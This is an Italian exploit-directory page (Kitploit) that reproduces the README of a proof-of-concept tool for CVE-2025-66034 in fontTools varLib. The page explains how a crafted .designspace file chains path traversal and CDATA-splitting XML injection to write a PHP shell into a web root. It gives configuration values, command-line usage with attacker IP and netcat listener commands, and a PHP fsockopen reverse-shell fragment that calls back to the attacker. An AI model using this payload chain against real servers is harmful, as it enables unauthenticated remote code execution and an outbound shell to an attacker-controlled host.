Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC-CVE-2025-66034 — Exploit automatizzato per CVE-2025-66034, che combina path traversal e iniezione XML in fontTools varLib per ottenere l'esecuzione remota di codice senza autenticazione tramite il caricamento di un file .designspace appositamente creato. | Kitploit
Strumenti/GitHubGitHub/v3cn4x00/poc-cve-2025-66034
Generazione di PayloadAnalisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebAnalisi di BinariApprendimento e FormazioneStrumento di Accesso Remoto

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
GitHub
v3cn4x00/poc-cve-2025-66034

POC-CVE-2025-66034

Exploit automatizzato per CVE-2025-66034, che combina path traversal e iniezione XML in fontTools varLib per ottenere l'esecuzione remota di codice senza autenticazione tramite il caricamento di un file .designspace appositamente creato.

Vedi Repository
466 mesi faNon ancora revisionato
Condividi

font_varlib.py — CVE-2025-66034

fontTools varLib — Scrittura Arbitraria di File + Iniezione XML → Esecuzione Remota di Codice

CVE Component Class Language Deps License


Indice

  • Panoramica
  • Dettagli della vulnerabilità
  • Catena di attacco
  • Requisiti
  • Installazione
  • Configurazione
  • Utilizzo
  • Come funziona
  • Codice vulnerabile
  • Checklist pre-sfruttamento
  • Testato su
  • Disclaimer
  • Riferimenti

Panoramica

CVE-2025-66034 è una vulnerabilità nella pipeline di generazione di font variabili fontTools.varLib. Quando un'applicazione web espone questa pipeline e accetta file .designspace forniti dall'utente, due debolezze si combinano per ottenere esecuzione remota di codice non autenticata.

font_varlib.py automatizza l'intera catena di sfruttamento: generazione del font, creazione del payload, upload e consegna della reverse shell.


Dettagli della vulnerabilità

CampoDettaglio
ID CVECVE-2025-66034
GHSAGHSA-768j-98cg-p3fv
Pacchettofonttools (pip)
Intervallo interessato>= 4.33.0, < 4.60.2
Corretto in4.60.2
GravitàModerata (CVSS 6.3)
Vettore di attaccoLocale (richiede upload di file sul target)
Privilegi richiestiNessuno
Interazione utenteRichiesta (trigger di upload)

Catena di debolezze

#PrimitivaCWECausa principale
1Path TraversalCWE-22L'attributo filename in .designspace viene passato direttamente a os.path.join() senza sanificazione — i percorsi assoluti scartano completamente la directory di output prevista
2Iniezione XMLCWE-91Le sezioni CDATA <labelname> consentono a una sequenza di separazione (]]]]><![CDATA[>) di introdurre PHP grezzo oltre il parser XML nel file di output scritto

Catena di attacco

L'attaccante crea un .designspace dannoso
            │
            ├── <variable-font filename="/var/www/html/files/shell.php">
            │        └── PATH TRAVERSAL
            │            os.path.join(output_dir, absolute_path)
            │            → output_dir scartata → scrittura nella web root
            │
            └── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
                     └── INIEZIONE XML
                         La separazione CDATA incorpora PHP grezzo
                         nel binario del font di output
            │
            ▼
    fontTools.varLib.main() elabora il file lato server
            │
            ▼
    shell.php scritto in una directory accessibile via web
            │
            ▼
    GET /files/shell.php → PHP esegue → callback reverse shell
            │
            ▼
    RCE come www-data

Requisiti

Python: 3.9+

Dipendenze:

pip install fonttools requests

Sistema:

nc (netcat) — richiesto per la modalità listener automatica (--no-listen lo salta)

Installazione

git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests

Configurazione

Prima di eseguire, apri font_varlib.py e aggiorna il blocco di configurazione all'inizio del file in base al tuo target. Ogni valore ha un commento inline che spiega cos'è e come trovare il valore corretto.

# ══════════════════════════════════════════════════════════════════════════════
#  DEFAULTS
#  Change these to match your target before running.
#  All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════

# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST      = "http://test.com"

# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT  = "/tools/variable-font-generator/process"

# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT          = "/var/www/test.com/public/files"

# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST       = "http://testing.test.com/files"

# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS     = "masters"

# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX     = "f0nt_"

# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8

Suggerimento: Intercetta una richiesta di upload legittima in Burp Suite per confermare UPLOAD_ENDPOINT e i nomi esatti dei campi multipart prima di eseguire. Una mancata corrispondenza nei nomi dei campi causa un fallimento silenzioso: il server risponde con HTTP 200 ma non viene scritta alcuna shell.


Utilizzo

Base — listener nc automatico

python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>

Listener manuale — avvia nc da solo

# Terminale 1 — avvia il tuo listener
nc -lvnp 4444

# Terminale 2 — esegui l'exploit senza listener automatico
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen

Target personalizzato — sovrascrivi tutti i default in fase di esecuzione

python3 font_varlib.py \
  --ip 10.10.14.5 \
  --port 4444 \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/html/files \
  --shell http://target.htb/files

Riferimento completo alle opzioni

ArgomentoObbligatorioDefaultDescrizione
--ip✓—IP del listener dell'attaccante
--port✓—Porta del listener dell'attaccante
--uploadUPLOAD_HOST + UPLOAD_ENDPOINTEndpoint di upload (POST)
--webrootWEBROOTPercorso di scrittura filesystem lato server (deve essere accessibile via web)
--shellSHELL_HOSTURL base per attivare la shell scritta
--no-listenfalseSalta il listener nc automatico — solo attivazione

Come funziona

Passo 1 — Generazione del font

Due file sorgente .ttf minimi ma strutturalmente validi vengono generati programmaticamente usando fontTools.FontBuilder. varLib richiede almeno due master di asse per elaborare un font variabile: questi soddisfano il requisito senza bisogno di veri file font su disco.

Passo 2 — Creazione del payload

Viene costruito un file XML .designspace dannoso che incorpora entrambe le primitive di attacco:

Primitiva 1 — Iniezione XML tramite separazione CDATA:

<labelname xml:lang="en">
  <![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>

La sequenza ]]]]><![CDATA[> termina il blocco CDATA corrente e ne apre immediatamente uno nuovo. Il parser XML elabora questo come markup valido, ma varLib serializza il contenuto verbatim nel file di output — incorporando PHP grezzo nel binario del font.

Primitiva 2 — Path Traversal tramite attributo filename:

<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">

varLib costruisce il percorso di output come:

output_path = os.path.join(output_dir, filename)
Scarica lo strumento